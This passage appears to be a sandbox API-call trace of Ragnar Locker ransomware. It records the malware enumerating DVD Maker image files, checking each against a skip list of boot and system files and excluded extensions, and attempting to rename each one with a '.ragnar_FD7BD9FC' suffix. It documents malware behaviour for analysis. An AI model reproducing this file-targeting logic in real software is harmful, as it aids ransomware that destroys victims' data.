Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" [0079.197] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.ragnar_FD7BD9FC" [0079.197] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0079.197] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.197] lstrcpyW (in: lpString1=0x1eab5e, lpString2="720x480icongraphic.png" | out: lpString1="720x480icongraphic.png") returned="720x480icongraphic.png" [0079.197] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png") returned=".png" [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="autorun.inf") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="boot.ini") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="bootfont.bin") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="bootsect.bak") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="bootmgr") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="bootmgr.efi") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="bootmgfw.efi") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="desktop.ini") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="iconcache.db") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="ntldr") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="ntuser.dat") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="ntuser.ini") returned -1 [0079.197] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="thumbs.db") returned -1 [0079.197] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.197] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.198] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.198] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.198] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.198] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.198] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png")) returned 0x20 [0079.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.198] CloseHandle (hObject=0xffffffff) returned 0 [0079.198] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" [0079.198] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.ragnar_FD7BD9FC" [0079.198] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.198] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.198] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.198] lstrcpyW (in: lpString1=0x1eab5e, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.198] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.198] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.198] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.198] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.198] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.198] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.198] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.198] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.199] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.199] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.199] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.199] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.199] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.199] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.199] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.199] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.199] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.199] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.199] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.199] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.199] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.199] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.199] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0079.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.199] CloseHandle (hObject=0xffffffff) returned 0 [0079.199] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" [0079.199] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.199] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.199] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.200] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.200] lstrcpyW (in: lpString1=0x1eab5e, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.200] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.200] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.200] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.200] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.200] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.200] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.200] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.200] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.200] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0079.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.201] CloseHandle (hObject=0xffffffff) returned 0 [0079.201] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" [0079.201] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.201] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.201] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.201] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.201] lstrcpyW (in: lpString1=0x1eab5e, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.201] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.201] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.201] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.201] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.201] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.201] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.201] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.202] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.202] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0079.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.202] CloseHandle (hObject=0xffffffff) returned 0 [0079.202] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" [0079.202] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.202] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.202] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.202] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.202] lstrcpyW (in: lpString1=0x1eab5e, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.202] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.202] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.203] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.203] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.203] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.203] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.203] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.203] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.203] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.203] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.203] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.203] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.203] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0079.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.204] CloseHandle (hObject=0xffffffff) returned 0 [0079.204] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD 